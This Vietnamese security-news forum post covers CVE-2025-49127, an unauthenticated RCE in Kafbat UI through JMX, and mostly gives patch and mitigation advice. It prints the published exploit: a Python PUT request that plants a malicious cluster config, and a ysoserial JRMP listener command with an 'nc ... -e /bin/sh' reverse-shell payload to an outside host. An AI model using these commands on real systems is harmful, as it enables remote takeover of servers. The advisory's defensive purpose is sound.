Lỗ hổng CVE-2025-49127 trong Kafbat UI cho phép thực thi mã từ xa qua JMX

WhiteHat Team

Administrators
Thành viên BQT
09/04/2020
108
959 bài viết
Lỗ hổng CVE-2025-49127 trong Kafbat UI cho phép thực thi mã từ xa qua JMX
Một lỗ hổng thực thi mã từ xa (RCE) nghiêm trọng vừa được phát hiện trong Kafbat UI, giao diện quản lý mã nguồn mở dành cho Apache Kafka. Lỗ hổng này được gán mã CVE-2025-49127 và được đánh giá điểm CVSS 10.0.

kafbat.png

Kẽ hở từ JMX trong cấu hình động​

Phiên bản Kafbat UI 1.0.0 cho phép người dùng cấu hình cụm Kafka một cách “động” bằng cách nhập vào các thông tin host và cổng kết nối JMX. Tuy nhiên, thay vì kiểm tra và giới hạn đầu vào, ứng dụng này lại xây dựng địa chỉ JMX một cách mù quáng từ dữ liệu do người dùng cung cấp:

Mã:
String jmxUrl = "service:jmx:rmi:///jndi/rmi://"
        + node.host() + ":" + c.getMetricsConfig().getPort()
        + "/jmxrmi";
connector.connect(env);

Do tính năng xác thực bị vô hiệu hóa mặc định (auth.type: DISABLED), bất kỳ ai cũng có thể gửi một yêu cầu PUT đến endpoint /api/config để khai báo cụm Kafka mới với kiểu metric là JMX và chỉ định một cổng bất kỳ.

Trong vòng 30 giây sau đó, trình thu thập metric sẽ gọi tới connector.connect(), khởi động bắt tay RMI với máy chủ độc hại và tải về chuỗi payload được tạo bằng thư viện ysoserial (sử dụng gadget CommonsCollections7), từ đó thực thi lệnh tùy ý trên hệ thống bằng Runtime.exec().

Khai thác lỗ hổng: PUT request mở đường cho reverse shell

Các nhà nghiên cứu bảo mật đã công bố một kỹ thuật khai thác hai giai đoạn: bước đầu gửi cấu hình cụm chứa payload JMX độc hại, tiếp theo thiết lập listener để chờ reverse shell, từ đó giành quyền điều khiển hệ thống từ xa.

Đoạn mã Python gửi cấu hình độc hại như sau:

Mã:
payload = {
  "config": {
    "properties": {
      "kafka": {
        "clusters": [{
          "name": "rce",
          "bootstrapServers": "kafka-malicious-broker:9093",
          "metrics": {"type": "JMX", "port": 1719}
        }]
      }
    }
  }
}
requests.put("http://target:8080/api/config", json=payload, timeout=30)

Kế tiếp, máy chủ độc hại mở listener JRMP bằng ysoserial:

Mã:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 \
     "nc 192.0.2.10 9094 -e /bin/sh"

Chỉ vài giây sau, reverse shell sẽ được gửi về cổng 9094, cho phép kẻ tấn công điều khiển máy chủ từ xa mà không cần thông tin đăng nhập. Quá trình này hoạt động ổn định trên bản triển khai Docker mặc định.

Bản vá và biện pháp phòng ngừa khẩn cấp​

Đội ngũ phát triển Kafbat đã nhanh chóng phát hành bản vá 1.1.0 với ba thay đổi quan trọng:
  • Từ chối các kết nối JMX không đáng tin và áp dụng danh sách cho phép (whitelist)
  • Bắt buộc xác thực cho endpoint /api/config
  • Thêm bộ lọc tuần tự hóa (jdk.serialFilter) để chặn payload chứa gadget
Các quản trị viên nên thực hiện ngay các bước sau:
  • Cập nhật lên bản mới: docker pull ghcr.io/kafbat/kafka-ui:v1.1.0 và triển khai lại hệ thống
  • Tắt cấu hình động trong môi trường sản xuất bằng biến môi trường DYNAMIC_CONFIG_ENABLED: "false"
  • Chặn lưu lượng RMI (port 1099/tcp) và các cổng JMX không cần thiết tại tường lửa
  • Theo dõi nhật ký hệ thống để phát hiện các chuỗi service:jmx:rmi bất thường. Sau khi áp dụng bản vá, những nỗ lực khai thác sẽ để lại lỗi IllegalArgumentException: filter status: REJECTED

Cẩn trọng trước khi bị biến thành bàn đạp tấn công​

Lỗ hổng CVE 2025 49127 mang tính chất zero click, khiến nó trở thành mục tiêu lý tưởng cho các chiến dịch khai thác tự động. Chỉ với một yêu cầu cấu hình đơn giản, kẻ tấn công có thể chiếm quyền điều khiển hệ thống giám sát Kafka và cài cắm mã độc. Trong nhiều trường hợp, máy chủ bị chiếm dụng sẽ được sử dụng để chạy phần mềm đào tiền số hoặc làm bàn đạp mở rộng tấn công sang các hệ thống nội bộ khác.

Theo nhận định của chuyên gia WhiteHat, việc khai thác lỗ hổng này không đòi hỏi kỹ thuật cao. Với mã khai thác đã được công bố công khai, nhiều hệ thống có thể đã nằm trong tầm ngắm của các bot tự động. Bất kỳ dashboard Kafka nào chưa được cập nhật bản vá hoặc chưa cấu hình đúng cách đều có nguy cơ bị chiếm quyền chỉ sau vài phút khi lộ diện trên mạng.

"Đây là dạng lỗ hổng đặc biệt nguy hiểm. Một khi kẻ tấn công kiểm soát được công cụ giám sát Kafka, họ có thể bí mật quan sát hệ thống, chèn mã độc hoặc thậm chí mở rộng hiện diện sâu hơn vào bên trong mạng doanh nghiệp" – chuyên gia WhiteHat cảnh báo.

Đừng để điểm giám sát Kafka tưởng chừng vô hại trở thành cửa ngõ dẫn tới toàn bộ hạ tầng của bạn. Hãy cập nhật ngay phiên bản vá, tắt tính năng cấu hình động nếu không thực sự cần thiết, chặn các kết nối JMX và RMI không được quản lý, đồng thời theo dõi chặt chẽ log hệ thống để phát hiện dấu hiệu truy cập bất thường. Đây là những bước tối thiểu cần thực hiện ngay lúc này để giữ hệ thống an toàn trước một trong những lỗ hổng nguy hiểm nhất hiện nay.

Theo Cyber Press
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
cve 2025 49127 kafka rce zero click
Bên trên